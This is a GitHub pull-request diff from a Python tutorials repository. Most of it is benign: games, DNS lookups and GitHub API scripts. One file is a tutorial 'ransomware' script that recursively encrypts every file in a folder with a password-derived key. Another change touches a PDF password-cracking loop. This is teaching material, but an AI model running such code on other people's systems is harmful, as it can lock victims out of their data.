Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
61 commits
Select commit Hold shift + click to select a range
b60659a
add voice recorder gui app tutorial
x4nth055 Nov 19, 2022
2434430
add new tutorial to README
x4nth055 Nov 19, 2022
0300b45
add chess game tutorial
x4nth055 Nov 20, 2022
0f881a9
add qrcode gui tutorial
x4nth055 Nov 30, 2022
8652114
update: remove deprecated argument
bitsnaps Dec 8, 2022
aac8641
update login automation tutorial
x4nth055 Dec 22, 2022
5235cff
update github api tutorial
x4nth055 Dec 22, 2022
69cd2d5
add ransomware tutorial
x4nth055 Dec 29, 2022
05a28eb
add printing variable name and value tutorial
x4nth055 Jan 1, 2023
ccdc302
add dns enumeration tutorial
x4nth055 Jan 2, 2023
a867caf
add geolocating ip addresses tutorial
x4nth055 Jan 4, 2023
c03bf85
add tokenization, stemming & lemmatization tutorial
x4nth055 Jan 5, 2023
99b7a18
add clustering algos tutorial
x4nth055 Jan 20, 2023
1a20e5e
add gui dictionary app tkinter tutorial
x4nth055 Jan 21, 2023
ff1c881
add web assistant tutorial with gpt3.5 api
x4nth055 Jan 25, 2023
435bef1
update skin cancer detection tutorial
x4nth055 Jan 25, 2023
a25e9d2
add image captioning tutorial
x4nth055 Feb 8, 2023
1c59af2
add realtime spelling checker tutorial
x4nth055 Feb 9, 2023
c39f836
add hangman game tutorial
x4nth055 Feb 11, 2023
7bdb6f9
add image segmentation using transformers tutorial
x4nth055 Feb 12, 2023
5e446fb
add pdf viewer tutorial
x4nth055 Feb 13, 2023
bf3ea49
add django accounting app tutorial
x4nth055 Feb 15, 2023
fd9cf6a
add django accounting app tutorial 2
x4nth055 Feb 15, 2023
c823d53
add news api drf tutorial
x4nth055 Feb 27, 2023
045880b
Merge pull request #117 from bitsnaps/patch-1
x4nth055 Mar 7, 2023
692473b
add hangman gui game tutorial
x4nth055 Mar 10, 2023
d8854fb
Merge branch 'master' of https://github.com/x4nth055/pythoncode-tutor…
x4nth055 Mar 10, 2023
860def9
add finetuning vit for image classification tutorial
x4nth055 Mar 15, 2023
e863537
add tetris game tutorial
x4nth055 Mar 16, 2023
f985680
add restful api flask tutorial
x4nth055 Mar 23, 2023
0b610c4
Update pdf_cracker.py
Yagniksojitra Apr 6, 2023
f8eb700
add stable diffusion tutorial
x4nth055 Apr 7, 2023
82a1489
add tictactoe game tutorial
x4nth055 Apr 8, 2023
b0c9a46
fix error in README.md
x4nth055 Apr 8, 2023
51ac5aa
add depth2img similar image generation tutorial
x4nth055 Apr 13, 2023
a2e0042
add argparse tutorial
x4nth055 Apr 16, 2023
f398822
update pdf image extractor
x4nth055 Apr 17, 2023
0442d18
update web assistant tutorial to make better UI & use chatgpt api
x4nth055 Apr 20, 2023
cf94671
update speech recognition tutorial to add whisper models
x4nth055 Apr 22, 2023
f8b80dc
update speech recognition tutorial to add whisper models 2
x4nth055 Apr 22, 2023
d54e25d
Merge pull request #125 from Yagniksojitra/Yagniksojitra-patch-1
x4nth055 Apr 22, 2023
c9f86d4
add real-time object tracking tutorial
x4nth055 Apr 28, 2023
762aa63
add refactored kmeans segmentation code
x4nth055 May 2, 2023
b243d49
add one more currency converter API to the currency converter tutorial
x4nth055 May 2, 2023
d62185c
change API key
x4nth055 May 2, 2023
8f89ebe
add gui language translator code'
x4nth055 May 5, 2023
1b4dc98
add one more function for fixed interval chunking for audio files for…
x4nth055 May 8, 2023
97976fe
add large audio file chunking for speech recognition tutorial with tr…
x4nth055 May 8, 2023
3e512d5
add speech recognition tutorial that covers 3 methods: speechrecognit…
x4nth055 May 9, 2023
27cb4e6
add the asr tutorial to the README
x4nth055 May 9, 2023
c0cc01f
add image editor with tkinter tutorial
x4nth055 May 11, 2023
9cf9a1d
add checkers game tutorial
x4nth055 May 13, 2023
0117c5a
add one more method of speech synthesis to the text-to-speech tutorial
x4nth055 May 16, 2023
483e50b
update text-to-speech README
x4nth055 May 17, 2023
c2305e5
add yolov8 section to the object detection tutorial
x4nth055 May 17, 2023
da75dbf
add snake game tutorial
x4nth055 May 22, 2023
4a994e8
update README to add game development section
x4nth055 May 22, 2023
891eeb3
add semantic textual similarity tutorial
x4nth055 May 23, 2023
8f21ae7
add bleu score tutorial
x4nth055 May 24, 2023
a30de41
add WER calculation tutorial
x4nth055 Jun 3, 2023
29d93f3
add slize puzzle game tutorial
x4nth055 Jun 11, 2023
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
The table of contents is too big for display.
Diff view
Diff view
  •  
  •  
  •  
47 changes: 44 additions & 3 deletions README.md

Large diffs are not rendered by default.

1 change: 1 addition & 0 deletions ethical-hacking/dns-enumeration/README.md
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
# [How to Perform DNS Enumeration in Python](https://www.thepythoncode.com/article/dns-enumeration-with-python)
17 changes: 17 additions & 0 deletions ethical-hacking/dns-enumeration/dns_enumeration.py
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,17 @@
import dns.resolver

# Set the target domain and record type
target_domain = "thepythoncode.com"
record_types = ["A", "AAAA", "CNAME", "MX", "NS", "SOA", "TXT"]
# Create a DNS resolver
resolver = dns.resolver.Resolver()
for record_type in record_types:
# Perform DNS lookup for the specified domain and record type
try:
answers = resolver.resolve(target_domain, record_type)
except dns.resolver.NoAnswer:
continue
# Print the answers
print(f"{record_type} records for{target_domain}:")
for rdata in answers:
print(f"{rdata}")
1 change: 1 addition & 0 deletions ethical-hacking/dns-enumeration/requirements.txt
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
dnspython
1 change: 1 addition & 0 deletions ethical-hacking/geolocating-ip-addresses/README.md
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
# [How to Geolocate IP addresses in Python](https://www.thepythoncode.com/article/geolocate-ip-addresses-with-ipinfo-in-python)
16 changes: 16 additions & 0 deletions ethical-hacking/geolocating-ip-addresses/get_ip_info.py
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
importipinfo
importsys
# get the ip address from the command line
try:
ip_address=sys.argv[1]
exceptIndexError:
ip_address=None
# access token for ipinfo.io
access_token='<put_your_access_token_here>'
# create a client object with the access token
handler=ipinfo.getHandler(access_token)
# get the ip info
details=handler.getDetails(ip_address)
# print the ip info
forkey, valueindetails.all.items():
print(f"{key}: {value}")
1 change: 1 addition & 0 deletions ethical-hacking/geolocating-ip-addresses/requirements.txt
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
ipinfo
2 changes: 1 addition & 1 deletion ethical-hacking/pdf-cracker/pdf_cracker.py
Original file line numberDiff line numberDiff line change
Expand Up@@ -12,6 +12,6 @@
# Password decrypted successfully, break out of the loop
print("[+] Password found:", password)
break
except pikepdf._qpdf.PasswordError as e:
except pikepdf._core.PasswordError as e:
# wrong password, just continue in the loop
continue
1 change: 1 addition & 0 deletions ethical-hacking/ransomware/README.md
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
# [How to Make a Ransomware in Python](https://www.thepythoncode.com/article/make-a-ransomware-in-python)
143 changes: 143 additions & 0 deletions ethical-hacking/ransomware/ransomware.py
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,143 @@
import pathlib
import secrets
import os
import base64
import getpass

import cryptography
from cryptography.fernet import Fernet
from cryptography.hazmat.primitives.kdf.scrypt import Scrypt


def generate_salt(size=16):
"""Generate the salt used for key derivation,
`size` is the length of the salt to generate"""
return secrets.token_bytes(size)


def derive_key(salt, password):
"""Derive the key from the `password` using the passed `salt`"""
kdf = Scrypt(salt=salt, length=32, n=2**14, r=8, p=1)
return kdf.derive(password.encode())


def load_salt():
# load salt from salt.salt file
return open("salt.salt", "rb").read()


def generate_key(password, salt_size=16, load_existing_salt=False, save_salt=True):
"""Generates a key from a `password` and the salt.
If `load_existing_salt` is True, it'll load the salt from a file
in the current directory called "salt.salt".
If `save_salt` is True, then it will generate a new salt
and save it to "salt.salt" """
if load_existing_salt:
# load existing salt
salt = load_salt()
elif save_salt:
# generate new salt and save it
salt = generate_salt(salt_size)
with open("salt.salt", "wb") as salt_file:
salt_file.write(salt)
# generate the key from the salt and the password
derived_key = derive_key(salt, password)
# encode it using Base 64 and return it
return base64.urlsafe_b64encode(derived_key)


def encrypt(filename, key):
"""Given a filename (str) and key (bytes), it encrypts the file and write it"""
f = Fernet(key)
with open(filename, "rb") as file:
# read all file data
file_data = file.read()
# encrypt data
encrypted_data = f.encrypt(file_data)
# write the encrypted file
with open(filename, "wb") as file:
file.write(encrypted_data)


def encrypt_folder(foldername, key):
# if it's a folder, encrypt the entire folder (i.e all the containing files)
for child in pathlib.Path(foldername).glob("*"):
if child.is_file():
print(f"[*] Encrypting{child}")
# encrypt the file
encrypt(child, key)
elif child.is_dir():
# if it's a folder, encrypt the entire folder by calling this function recursively
encrypt_folder(child, key)


def decrypt(filename, key):
"""Given a filename (str) and key (bytes), it decrypts the file and write it"""
f = Fernet(key)
with open(filename, "rb") as file:
# read the encrypted data
encrypted_data = file.read()
# decrypt data
try:
decrypted_data = f.decrypt(encrypted_data)
except cryptography.fernet.InvalidToken:
print("[!] Invalid token, most likely the password is incorrect")
return
# write the original file
with open(filename, "wb") as file:
file.write(decrypted_data)


def decrypt_folder(foldername, key):
# if it's a folder, decrypt the entire folder
for child in pathlib.Path(foldername).glob("*"):
if child.is_file():
print(f"[*] Decrypting{child}")
# decrypt the file
decrypt(child, key)
elif child.is_dir():
# if it's a folder, decrypt the entire folder by calling this function recursively
decrypt_folder(child, key)


if __name__ == "__main__":
import argparse
parser = argparse.ArgumentParser(description="File Encryptor Script with a Password")
parser.add_argument("path", help="Path to encrypt/decrypt, can be a file or an entire folder")
parser.add_argument("-s", "--salt-size", help="If this is set, a new salt with the passed size is generated",
type=int)
parser.add_argument("-e", "--encrypt", action="store_true",
help="Whether to encrypt the file/folder, only -e or -d can be specified.")
parser.add_argument("-d", "--decrypt", action="store_true",
help="Whether to decrypt the file/folder, only -e or -d can be specified.")
# parse the arguments
args = parser.parse_args()
# get the password
if args.encrypt:
password = getpass.getpass("Enter the password for encryption: ")
elif args.decrypt:
password = getpass.getpass("Enter the password you used for encryption: ")
# generate the key
if args.salt_size:
key = generate_key(password, salt_size=args.salt_size, save_salt=True)
else:
key = generate_key(password, load_existing_salt=True)
# get the encrypt and decrypt flags
encrypt_ = args.encrypt
decrypt_ = args.decrypt
# check if both encrypt and decrypt are specified
if encrypt_ and decrypt_:
raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
elif encrypt_:
if os.path.isfile(args.path):
# if it is a file, encrypt it
encrypt(args.path, key)
elif os.path.isdir(args.path):
encrypt_folder(args.path, key)
elif decrypt_:
if os.path.isfile(args.path):
decrypt(args.path, key)
elif os.path.isdir(args.path):
decrypt_folder(args.path, key)
else:
raise TypeError("Please specify whether you want to encrypt the file or decrypt it.")
1 change: 1 addition & 0 deletions ethical-hacking/ransomware/requirements.txt
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
cryptography
23 changes: 17 additions & 6 deletions general/github-api/get_user_repositories.py
Original file line numberDiff line numberDiff line change
@@ -1,6 +1,11 @@
import base64
from github import Github
import github
import sys
import os

# make a directory to save the Python files
if not os.path.exists("python-files"):
os.mkdir("python-files")


def print_repo(repo):
Expand All@@ -23,19 +28,25 @@ def print_repo(repo):
print("-"*50)
# repository content (files & directories)
print("Contents:")
for content in repo.get_contents(""):
print(content)
try:
for content in repo.get_contents(""):
# check if it's a Python file
if content.path.endswith(".py"):
# save the file
filename = os.path.join("python-files", f"{repo.full_name.replace('/', '-')}-{content.path}")
with open(filename, "wb") as f:
f.write(content.decoded_content)
print(content)
# repo license
print("License:", base64.b64decode(repo.get_license().content.encode()).decode())
except:
pass
except Exception as e:
print("Error:", e)


# Github username from the command line
username = sys.argv[1]
# pygithub object
g = Github()
g = github.Github()
# get that user by username
user = g.get_user(username)
# iterate over all public repositories
Expand Down
11 changes: 7 additions & 4 deletions general/github-api/search_github_repositories.py
Original file line numberDiff line numberDiff line change
@@ -1,4 +1,4 @@
from github import Github
import github
import base64

def print_repo(repo):
Expand All@@ -21,8 +21,11 @@ def print_repo(repo):
print("-"*50)
# repository content (files & directories)
print("Contents:")
for content in repo.get_contents(""):
print(content)
try:
for content in repo.get_contents(""):
print(content)
except github.GithubException as e:
print("Error:", e)
try:
# repo license
print("License:", base64.b64decode(repo.get_license().content.encode()).decode())
Expand All@@ -33,7 +36,7 @@ def print_repo(repo):
username = "username"
password = "password"
# initialize github object
g = Github(username, password)
g = github.Github(username, password)
# or use public version
# g = Github()

Expand Down
84 changes: 84 additions & 0 deletions gui-programming/checkers-game/Board.py
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,84 @@
import pygame
from Tile import Tile
from Pawn import Pawn

class Board:
def __init__(self,tile_width, tile_height, board_size):
self.tile_width = tile_width
self.tile_height = tile_height
self.board_size = board_size
self.selected_piece = None

self.turn = "black"
self.is_jump = False

self.config = [
['', 'bp', '', 'bp', '', 'bp', '', 'bp'],
['bp', '', 'bp', '', 'bp', '', 'bp', ''],
['', 'bp', '', 'bp', '', 'bp', '', 'bp'],
['', '', '', '', '', '', '', ''],
['', '', '', '', '', '', '', ''],
['rp', '', 'rp', '', 'rp', '', 'rp', ''],
['', 'rp', '', 'rp', '', 'rp', '', 'rp'],
['rp', '', 'rp', '', 'rp', '', 'rp', '']
]

self.tile_list = self._generate_tiles()
self._setup()

def _generate_tiles(self):
output = []
for y in range(self.board_size):
for x in range(self.board_size):
output.append(
Tile(x, y, self.tile_width, self.tile_height)
)
return output

def get_tile_from_pos(self, pos):
for tile in self.tile_list:
if (tile.x, tile.y) == (pos[0], pos[1]):
return tile

def _setup(self):
for y_ind, row in enumerate(self.config):
for x_ind, x in enumerate(row):
tile = self.get_tile_from_pos((x_ind, y_ind))
if x != '':
if x[-1] == 'p':
color = 'red' if x[0] == 'r' else 'black'
tile.occupying_piece = Pawn(x_ind, y_ind, color, self)

def handle_click(self, pos):
x, y = pos[0], pos[-1]
if x >= self.board_size or y >= self.board_size:
x = x // self.tile_width
y = y // self.tile_height
clicked_tile = self.get_tile_from_pos((x, y))

if self.selected_piece is None:
if clicked_tile.occupying_piece is not None:
if clicked_tile.occupying_piece.color == self.turn:
self.selected_piece = clicked_tile.occupying_piece
elif self.selected_piece._move(clicked_tile):
if not self.is_jump:
self.turn = 'red' if self.turn == 'black' else 'black'
else:
if len(clicked_tile.occupying_piece.valid_jumps()) == 0:
self.turn = 'red' if self.turn == 'black' else 'black'
elif clicked_tile.occupying_piece is not None:
if clicked_tile.occupying_piece.color == self.turn:
self.selected_piece = clicked_tile.occupying_piece

def draw(self, display):
if self.selected_piece is not None:
self.get_tile_from_pos(self.selected_piece.pos).highlight = True
if not self.is_jump:
for tile in self.selected_piece.valid_moves():
tile.highlight = True
else:
for tile in self.selected_piece.valid_jumps():
tile[0].highlight = True

for tile in self.tile_list:
tile.draw(display)
Loading